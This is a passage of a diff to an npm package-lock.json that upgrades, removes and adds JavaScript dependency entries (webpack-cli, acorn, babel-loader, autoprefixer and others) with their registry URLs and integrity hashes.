"resolved": "https://registry.npmjs.org/@webpack-cli/info/-/info-3.0.1.tgz", + "integrity": "sha512-coEmDzc2u/ffMvuW9aCjoRzNSPDl/XLuhPdlFRpT9tZHmJ/039az33CE7uH+8s0uL1j5ZNtfdv0HkfaKRBGJsQ==", "dev": true, - "dependencies": { - "envinfo": "^7.7.3" + "engines": { + "node": ">=18.12.0" }, "peerDependencies": { - "webpack-cli": "4.x.x" + "webpack": "^5.82.0", + "webpack-cli": "6.x.x" } }, "node_modules/@webpack-cli/serve": { - "version": "1.7.0", - "resolved": "https://registry.npmjs.org/@webpack-cli/serve/-/serve-1.7.0.tgz", - "integrity": "sha512-oxnCNGj88fL+xzV+dacXs44HcDwf1ovs3AuEzvP7mqXw7fQntqIhQ1BRmynh4qEKQSSSRSWVyXRjmTbZIX9V2Q==", + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/@webpack-cli/serve/-/serve-3.0.1.tgz", + "integrity": "sha512-sbgw03xQaCLiT6gcY/6u3qBDn01CWw/nbaXl3gTdTFuJJ75Gffv3E3DBpgvY2fkkrdS1fpjaXNOmJlnbtKauKg==", "dev": true, + "engines": { + "node": ">=18.12.0" + }, "peerDependencies": { - "webpack-cli": "4.x.x" + "webpack": "^5.82.0", + "webpack-cli": "6.x.x" }, "peerDependenciesMeta": { "webpack-dev-server": { @@ -3983,6 +4263,12 @@ } } }, + "node_modules/@xstate/fsm": { + "version": "1.6.5", + "resolved": "https://registry.npmjs.org/@xstate/fsm/-/fsm-1.6.5.tgz", + "integrity": "sha512-b5o1I6aLNeYlU/3CPlj/Z91ybk1gUsKT+5NAJI+2W4UjvS5KLG28K9v5UvNoFVjHV8PajVZ00RH3vnjyQO7ZAw==", + "license": "MIT" + }, "node_modules/@xtuc/ieee754": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/@xtuc/ieee754/-/ieee754-1.2.0.tgz", @@ -3995,24 +4281,19 @@ "integrity": "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ==", "dev": true }, - "node_modules/abab": { - "version": "2.0.6", - "resolved": "https://registry.npmjs.org/abab/-/abab-2.0.6.tgz", - "integrity": "sha512-j2afSsaIENvHZN2B8GOpF566vZ5WVk5opAiMTvWgaQT8DkbOqsTfvNAvHoRGU2zzP8cPoqys+xHTRDWW8L+/BA==", - "dev": true - }, - "node_modules/abbrev": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.1.1.tgz", - "integrity": "sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q==", - "dev": true, - "optional": true, - "peer": true - }, - "node_modules/abortcontroller-polyfill": { - "version": "1.7.3", - "resolved": "https://registry.npmjs.org/abortcontroller-polyfill/-/abortcontroller-polyfill-1.7.3.tgz", - "integrity": "sha512-zetDJxd89y3X99Kvo4qFx8GKlt6GsvN3UcRZHwU6iFA/0KiOmhkTVhe8oRoTBiTVPZu09x3vCra47+w8Yz1+2Q==" + "node_modules/abitype": { + "version": "0.7.1", + "resolved": "https://registry.npmjs.org/abitype/-/abitype-0.7.1.tgz", + "integrity": "sha512-VBkRHTDZf9Myaek/dO3yMmOzB/y2s3Zo6nVU7yaw1G+TvCHAjwaJzNGN9yo4K5D8bU/VZXKP1EJpRhFr862PlQ==", + "peerDependencies": { + "typescript": ">=4.9.4", + "zod": "^3 >=3.19.1" + }, + "peerDependenciesMeta": { + "zod": { + "optional": true + } + } }, "node_modules/abstract-leveldown": { "version": "2.6.3", @@ -4022,45 +4303,12 @@ "xtend": "~4.0.0" } }, - "node_modules/accepts": { - "version": "1.3.8", - "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz", - "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==", - "dependencies": { - "mime-types": "~2.1.34", - "negotiator": "0.6.3" - }, - "engines": { - "node": ">= 0.6" - } - }, "node_modules/acorn": { - "version": "8.8.0", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.8.0.tgz", - "integrity": "sha512-QOxyigPVrpZ2GXT+PFyZTl6TtOFc5egxHIP9IlQ+RbupQuX4RkT/Bee4/kQuC02Xkzg84JcT7oLYtDIQxp+v7w==", - "dev": true, - "bin": { - "acorn": "bin/acorn" - }, - "engines": { - "node": ">=0.4.0" - } - }, - "node_modules/acorn-globals": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/acorn-globals/-/acorn-globals-6.0.0.tgz", - "integrity": "sha512-ZQl7LOWaF5ePqqcX4hLuv/bLXYQNfNWw2c0/yX/TsPRKamzHcTGQnlCjHT3TsmkOUVEPS3crCxiPfdzE/Trlhg==", - "dev": true, - "dependencies": { - "acorn": "^7.1.1", - "acorn-walk": "^7.1.1" - } - }, - "node_modules/acorn-globals/node_modules/acorn": { - "version": "7.4.1", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-7.4.1.tgz", - "integrity": "sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==", + "version": "8.15.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.15.0.tgz", + "integrity": "sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg==", "dev": true, + "license": "MIT", "bin": { "acorn": "bin/acorn" }, @@ -4073,65 +4321,24 @@ "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz", "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==", "dev": true, + "license": "MIT", "peerDependencies": { "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" } }, - "node_modules/acorn-walk": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-7.2.0.tgz", - "integrity": "sha512-OPdCF6GsMIP+Az+aWfAAOEt2/+iVDKE7oy6lJ098aoe59oAmK76qV6Gw60SbZ8jHuG2wH058GF4pLFbYamYrVA==", - "dev": true, - "engines": { - "node": ">=0.4.0" - } - }, "node_modules/aes-js": { "version": "3.1.2", "resolved": "https://registry.npmjs.org/aes-js/-/aes-js-3.1.2.tgz", "integrity": "sha512-e5pEa2kBnBOgR4Y/p20pskXI74UEz7de8ZGVo58asOtvSVG5YAbJeELPZxOmt+Bnz3rX753YKhfIn4X4l1PPRQ==" }, "node_modules/agent-base": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz", - "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==", - "dev": true, - "dependencies": { - "debug": "4" - }, - "engines": { - "node": ">= 6.0.0" - } - }, - "node_modules/agentkeepalive": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/agentkeepalive/-/agentkeepalive-4.2.0.tgz", - "integrity": "sha512-0PhAp58jZNw13UJv7NVdTGb0ZcghHUb3DrZ046JiiJY/BOaTTpbwdHq2VObPCBV8M2GPh7sgrJ3AQ8Ey468LJw==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "debug": "^4.1.0", - "depd": "^1.1.2", - "humanize-ms": "^1.2.1" - }, - "engines": { - "node": ">= 8.0.0" - } - }, - "node_modules/aggregate-error": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/aggregate-error/-/aggregate-error-3.1.0.tgz", - "integrity": "sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==", + "version": "7.1.4", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.4.tgz", + "integrity": "sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ==", "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "clean-stack": "^2.0.0", - "indent-string": "^4.0.0" - }, + "license": "MIT", "engines": { - "node": ">=8" + "node": ">= 14" } }, "node_modules/ajv": { @@ -4245,29 +4452,6 @@ "node": ">= 8" } }, - "node_modules/aproba": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/aproba/-/aproba-2.0.0.tgz", - "integrity": "sha512-lYe4Gx7QT+MKGbDsA+Z+he/Wtef0BiwDOlK/XkBrdfsh9J/jPPXbX0tE9x9cl27Tmu5gg3QUbUrQYa/y+KOHPQ==", - "dev": true, - "optional": true, - "peer": true - }, - "node_modules/are-we-there-yet": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-2.0.0.tgz", - "integrity": "sha512-Ci/qENmwHnsYo9xKIcUJN5LeDKdJ6R1Z1j9V/J5wyq8nh/mYPEpIKJbBZXtZjG04HiK7zV/p6Vs9952MrMeUIw==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "delegates": "^1.0.0", - "readable-stream": "^3.6.0" - }, - "engines": { - "node": ">=10" - } - }, "node_modules/argparse": { "version": "1.0.10", "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", @@ -4277,22 +4461,38 @@ "sprintf-js": "~1.0.2" } }, - "node_modules/array-flatten": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz", - "integrity": "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==" + "node_modules/array-buffer-byte-length": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/array-buffer-byte-length/-/array-buffer-byte-length-1.0.2.tgz", + "integrity": "sha512-LHE+8BuR7RYGDKvnrmcuSq3tDcKv9OFEXQt/HpbZhY7V6h0zlUXutnAD82GiFx9rdieCMjkvtcsPqBwgUl1Iiw==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3", + "is-array-buffer": "^3.0.5" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } }, "node_modules/array-includes": { - "version": "3.1.4", - "resolved": "https://registry.npmjs.org/array-includes/-/array-includes-3.1.4.tgz", - "integrity": "sha512-ZTNSQkmWumEbiHO2GF4GmWxYVTiQyJy2XOTa15sdQSrvKn7l+180egQMqlrMOUMCyLMD7pmyQe4mMDUT6Behrw==", + "version": "3.1.9", + "resolved": "https://registry.npmjs.org/array-includes/-/array-includes-3.1.9.tgz", + "integrity": "sha512-FmeCCAenzH0KH381SPT5FZmiA/TmpndpcaShhfgEN9eCVjnFBqq3l1xrI42y8+PPLI6hypzou4GXw00WHmPBLQ==", "dev": true, + "license": "MIT", "dependencies": { - "call-bind": "^1.0.2", - "define-properties": "^1.1.3", - "es-abstract": "^1.19.1", - "get-intrinsic": "^1.1.1", - "is-string": "^1.0.7" + "call-bind": "^1.0.8", + "call-bound": "^1.0.4", + "define-properties": "^1.2.1", + "es-abstract": "^1.24.0", + "es-object-atoms": "^1.1.1", + "get-intrinsic": "^1.3.0", + "is-string": "^1.1.1", + "math-intrinsics": "^1.1.0" }, "engines": { "node": ">= 0.4" @@ -4301,24 +4501,39 @@ "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/array-union": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz", - "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==", + "node_modules/array.prototype.findlastindex": { + "version": "1.2.6", + "resolved": "https://registry.npmjs.org/array.prototype.findlastindex/-/array.prototype.findlastindex-1.2.6.tgz", + "integrity": "sha512-F/TKATkzseUExPlfvmwQKGITM3DGTK+vkAsCZoDc5daVygbJBnjEUCbgkAvVFsgfXfX4YIqZ/27G3k3tdXrTxQ==", "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.4", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.9", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.1.1", + "es-shim-unscopables": "^1.1.0" + }, "engines": { - "node": ">=8" + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" } }, "node_modules/array.prototype.flat": { - "version": "1.2.5", - "resolved": "https://registry.npmjs.org/array.prototype.flat/-/array.prototype.flat-1.2.5.tgz", - "integrity": "sha512-KaYU+S+ndVqyUnignHftkwc58o3uVU1jzczILJ1tN2YaIZpFIKBiP/x/j97E5MVPsaCloPbqWLB/8qCTVvT2qg==", + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/array.prototype.flat/-/array.prototype.flat-1.3.3.tgz", + "integrity": "sha512-rwG/ja1neyLqCuGZ5YYrznA62D4mZXg0i1cIskIUKSiqF3Cje9/wXAls9B9s1Wa2fomMsIv8czB8jZcPmxCXFg==", "dev": true, + "license": "MIT", "dependencies": { - "call-bind": "^1.0.2", - "define-properties": "^1.1.3", - "es-abstract": "^1.19.0" + "call-bind": "^1.0.8", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.5", + "es-shim-unscopables": "^1.0.2" }, "engines": { "node": ">= 0.4" @@ -4327,50 +4542,80 @@ "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/arrify": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/arrify/-/arrify-1.0.1.tgz", - "integrity": "sha1-iYUI2iIm84DfkEcoRWhJwVAaSw0=", + "node_modules/array.prototype.flatmap": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/array.prototype.flatmap/-/array.prototype.flatmap-1.3.3.tgz", + "integrity": "sha512-Y7Wt51eKJSyi80hFrJCePGGNo5ktJCslFuboqJsbf57CCPcm5zztluPlc4/aD8sWsKvlwatezpV4U1efk8kpjg==", "dev": true, - "optional": true, - "peer": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.5", + "es-shim-unscopables": "^1.0.2" + }, "engines": { - "node": ">=0.10.0" + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/asn1": { - "version": "0.2.4", - "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.4.tgz", + "node_modules/arraybuffer.prototype.slice": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/arraybuffer.prototype.slice/-/arraybuffer.prototype.slice-1.0.4.tgz", + "integrity": "sha512-BNoCY6SXXPQ7gF2opIP4GBE+Xw7U+pHMYKuzjgCN3GwiaIR09UUeKfheyIry77QtrCBlC0KK0q5/TER/tYh3PQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "array-buffer-byte-length": "^1.0.1", + "call-bind": "^1.0.8", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.5", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.6", + "is-array-buffer": "^3.0.4" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/asn1": { + "version": "0.2.4", + "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.4.tgz", "integrity": "sha512-jxwzQpLQjSmWXgwaCZE9Nz+glAG01yF1QnWgbhGwHI5A6FRIEY6IVqtHhIepHqI7/kyEyQEagBC5mBEFlIYvdg==", "dependencies": { "safer-buffer": "~2.1.0" } }, "node_modules/asn1.js": { - "version": "5.4.1", - "resolved": "https://registry.npmjs.org/asn1.js/-/asn1.js-5.4.1.tgz", - "integrity": "sha512-+I//4cYPccV8LdmBLiX8CYvf9Sp3vQsrqu2QNXRcrbiWvcx/UdlFiqUJJzxRQxgsZmvhXhn4cSKeSmoFjVdupA==", + "version": "4.10.1", + "resolved": "https://registry.npmjs.org/asn1.js/-/asn1.js-4.10.1.tgz", + "integrity": "sha512-p32cOF5q0Zqs9uBiONKYLm6BClCoBCM5O9JfeUSlnQLBTxYdTK+pW+nXflm8UkKd2UYlEbYz5qEi0JuZR9ckSw==", "dependencies": { "bn.js": "^4.0.0", "inherits": "^2.0.1", - "minimalistic-assert": "^1.0.0", - "safer-buffer": "^2.1.0" + "minimalistic-assert": "^1.0.0" } }, "node_modules/asn1.js/node_modules/bn.js": { - "version": "4.12.0", - "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz", - "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==" + "version": "4.12.1", + "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.1.tgz", + "integrity": "sha512-k8TVBiPkPJT9uHLdOKfFpqcfprwBFOAAXXozRubr7R7PfIuKvQlzcI4M0pALeqXN09vdaMbUdUj+pass+uULAg==" }, "node_modules/assert": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/assert/-/assert-2.0.0.tgz", - "integrity": "sha512-se5Cd+js9dXJnu6Ag2JFc00t+HmHOen+8Q+L7O9zI0PqQXr20uk2J0XQqMxZEeo5U50o8Nvmmx7dZrl+Ufr35A==", + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/assert/-/assert-2.1.0.tgz", + "integrity": "sha512-eLHpSK/Y4nhMJ07gDaAzoX/XAKS8PSaojml3M0DM4JpV1LAi5JOJ/p6H/XWrl8L+DzVEvVCW1z3vWAaB9oTsQw==", "dependencies": { - "es6-object-assign": "^1.1.0", - "is-nan": "^1.2.1", - "object-is": "^1.0.1", - "util": "^0.12.0" + "call-bind": "^1.0.2", + "is-nan": "^1.3.2", + "object-is": "^1.1.5", + "object.assign": "^4.1.4", + "util": "^0.12.5" } }, "node_modules/assert-plus": { @@ -4405,15 +4650,14 @@ "async": "^2.4.0" } }, - "node_modules/async-foreach": { - "version": "0.1.3", - "resolved": "https://registry.npmjs.org/async-foreach/-/async-foreach-0.1.3.tgz", - "integrity": "sha1-NhIfhFwFeBct5Bmpfb6x0W7DRUI=", + "node_modules/async-function": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/async-function/-/async-function-1.0.0.tgz", + "integrity": "sha512-hsU18Ae8CDTR6Kgu9DYf0EbCr/a5iGL0rytQDobUcdpYOKokk8LEjVphnXkDkgpi0wYVsqrXuP0bZxJaTqdgoA==", "dev": true, - "optional": true, - "peer": true, + "license": "MIT", "engines": { - "node": "*" + "node": ">= 0.4" } }, "node_modules/async-limiter": { @@ -4440,9 +4684,9 @@ "integrity": "sha1-x57Zf380y48robyXkLzDZkdLS3k=" }, "node_modules/autoprefixer": { - "version": "10.4.8", - "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.4.8.tgz", - "integrity": "sha512-75Jr6Q/XpTqEf6D2ltS5uMewJIx5irCU1oBYJrWjFenq/m12WRRrz6g15L1EIoYvPLXTbEry7rDOwrcYNj77xw==", + "version": "10.4.21", + "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.4.21.tgz", + "integrity": "sha512-O+A6LWV5LDHSJD3LjHYoNi4VLsj/Whi7k6zG12xTYaU4cQ8oxQGckXNX8cRHK5yOZ/ppVHe0ZBXGzSV9jXdVbQ==", "dev": true, "funding": [ { @@ -4452,14 +4696,19 @@ { "type": "tidelift", "url": "https://tidelift.com/funding/github/npm/autoprefixer" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" } ], + "license": "MIT", "dependencies": { - "browserslist": "^4.21.3", - "caniuse-lite": "^1.0.30001373", - "fraction.js": "^4.2.0", + "browserslist": "^4.24.4", + "caniuse-lite": "^1.0.30001702", + "fraction.js": "^4.3.7", "normalize-range": "^0.1.2", - "picocolors": "^1.0.0", + "picocolors": "^1.1.1", "postcss-value-parser": "^4.2.0" }, "bin": { @@ -4473,9 +4722,12 @@ } }, "node_modules/available-typed-arrays": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/available-typed-arrays/-/available-typed-arrays-1.0.5.tgz", - "integrity": "sha512-DMD0KiN46eipeziST1LPP/STfDU0sufISXmjSgvVsoU2tqxctQeASejWcfNtxYKqETM1UxQ8sp2OrSBWpHY6sw==", + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/available-typed-arrays/-/available-typed-arrays-1.0.7.tgz", + "integrity": "sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ==", + "dependencies": { + "possible-typed-array-names": "^1.0.0" + }, "engines": { "node": ">= 0.4" }, @@ -4497,15 +4749,15 @@ "integrity": "sha512-xh1Rl34h6Fi1DC2WWKfxUTVqRsNnr6LsKz2+hfwDxQJWmrx8+c7ylaqBMcHfl1U1r2dsifOvKX3LQuLNZ+XSvA==" }, "node_modules/babel-jest": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/babel-jest/-/babel-jest-29.0.1.tgz", - "integrity": "sha512-wyI9r8tqwsZEMWiIaYjdUJ6ztZIO4DMWpGq7laW34wR71WtRS+D/iBEtXOP5W2aSYCVUQMsypRl/xiJYZznnTg==", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/babel-jest/-/babel-jest-29.7.0.tgz", + "integrity": "sha512-BrvGY3xZSwEcCzKvKsCi2GgHqDqsYkOP4/by5xCgIwGXQxIEh+8ew3gmrE1y7XRR6LHZIj6yLYnUi/mm2KXKBg==", "dev": true, "dependencies": { - "@jest/transform": "^29.0.1", + "@jest/transform": "^29.7.0", "@types/babel__core": "^7.1.14", "babel-plugin-istanbul": "^6.1.1", - "babel-preset-jest": "^29.0.0", + "babel-preset-jest": "^29.6.3", "chalk": "^4.0.0", "graceful-fs": "^4.2.9", "slash": "^3.0.0" @@ -4517,102 +4769,80 @@ "@babel/core": "^7.8.0" } }, - "node_modules/babel-jest/node_modules/ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "node_modules/babel-loader": { + "version": "10.0.0", + "resolved": "https://registry.npmjs.org/babel-loader/-/babel-loader-10.0.0.tgz", + "integrity": "sha512-z8jt+EdS61AMw22nSfoNJAZ0vrtmhPRVi6ghL3rCeRZI8cdNYFiV5xeV3HbE7rlZZNmGH8BVccwWt8/ED0QOHA==", "dev": true, + "license": "MIT", "dependencies": { - "color-convert": "^2.0.1" + "find-up": "^5.0.0" }, "engines": { - "node": ">=8" + "node": "^18.20.0 || ^20.10.0 || >=22.0.0" }, - "funding": { - "url": "https://github.com/chalk/ansi-styles?sponsor=1" + "peerDependencies": { + "@babel/core": "^7.12.0", + "webpack": ">=5.61.0" } }, - "node_modules/babel-jest/node_modules/chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "node_modules/babel-loader/node_modules/find-up": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", + "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", "dev": true, + "license": "MIT", "dependencies": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" + "locate-path": "^6.0.0", + "path-exists": "^4.0.0" }, "engines": { "node": ">=10" }, "funding": { - "url": "https://github.com/chalk/chalk?sponsor=1" + "url": "https://github.com/sponsors/sindresorhus" } }, - "node_modules/babel-jest/node_modules/color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "node_modules/babel-loader/node_modules/locate-path": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", + "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", "dev": true, + "license": "MIT", "dependencies": { - "color-name": "~1.1.4" + "p-locate": "^5.0.0" }, "engines": { - "node": ">=7.0.0" - } - }, - "node_modules/babel-jest/node_modules/color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "node_modules/babel-jest/node_modules/has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true, - "engines": { - "node": ">=8" - } - }, - "node_modules/babel-jest/node_modules/supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, - "dependencies": { - "has-flag": "^4.0.0" + "node": ">=10" }, - "engines": { - "node": ">=8" + "funding": { + "url": "https://github.com/sponsors/sindresorhus" } }, - "node_modules/babel-loader": { - "version": "8.2.5", - "resolved": "https://registry.npmjs.org/babel-loader/-/babel-loader-8.2.5.tgz", - "integrity": "sha512-OSiFfH89LrEMiWd4pLNqGz4CwJDtbs2ZVc+iGu2HrkRfPxId9F2anQj38IxWpmRfsUY0aBZYi1EFcd3mhtRMLQ==", + "node_modules/babel-loader/node_modules/p-locate": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", + "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", "dev": true, + "license": "MIT", "dependencies": { - "find-cache-dir": "^3.3.1", - "loader-utils": "^2.0.0", - "make-dir": "^3.1.0", - "schema-utils": "^2.6.5" + "p-limit": "^3.0.2" }, "engines": { - "node": ">= 8.9" + "node": ">=10" }, - "peerDependencies": { - "@babel/core": "^7.0.0", - "webpack": ">=2" + "funding": { + "url": "https://github.com/sponsors/sindresorhus" } }, - "node_modules/babel-plugin-dynamic-import-node": { - "version": "2.3.3", - "resolved": "https://registry.npmjs.org/babel-plugin-dynamic-import-node/-/babel-plugin-dynamic-import-node-2.3.3.tgz", - "integrity": "sha512-jZVI+s9Zg3IqA/kdi0i6UDCybUI3aSBLnglhYbSSjKlV7yF1F/5LWv8MakQmvYpnbJDS6fcBL2KzHSxNCMtWSQ==", + "node_modules/babel-loader/node_modules/path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", "dev": true, - "dependencies": { - "object.assign": "^4.1.0" + "license": "MIT", + "engines": { + "node": ">=8" } }, "node_modules/babel-plugin-istanbul": { @@ -4631,10 +4861,26 @@ "node": ">=8" } }, + "node_modules/babel-plugin-istanbul/node_modules/istanbul-lib-instrument": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-5.2.1.tgz", + "integrity": "sha512-pzqtp31nLv/XFOzXGuvhCb8qhjmTVo5vjVk19XE4CRlSWz0KoeJ3bw9XsA7nOp9YBf4qHjwBxkDzKcME/J29Yg==", + "dev": true, + "dependencies": { + "@babel/core": "^7.12.3", + "@babel/parser": "^7.14.7", + "@istanbuljs/schema": "^0.1.2", + "istanbul-lib-coverage": "^3.2.0", + "semver": "^6.3.0" + }, + "engines": { + "node": ">=8" + } + }, "node_modules/babel-plugin-jest-hoist": { - "version": "29.0.0", - "resolved": "https://registry.npmjs.org/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-29.0.0.tgz", - "integrity": "sha512-B9oaXrlxXHFWeWqhDPg03iqQd2UN/mg/VdZOsLaqAVBkztru3ctTryAI4zisxLEEgmcUnLTKewqx0gGifoXD3A==", + "version": "29.6.3", + "resolved": 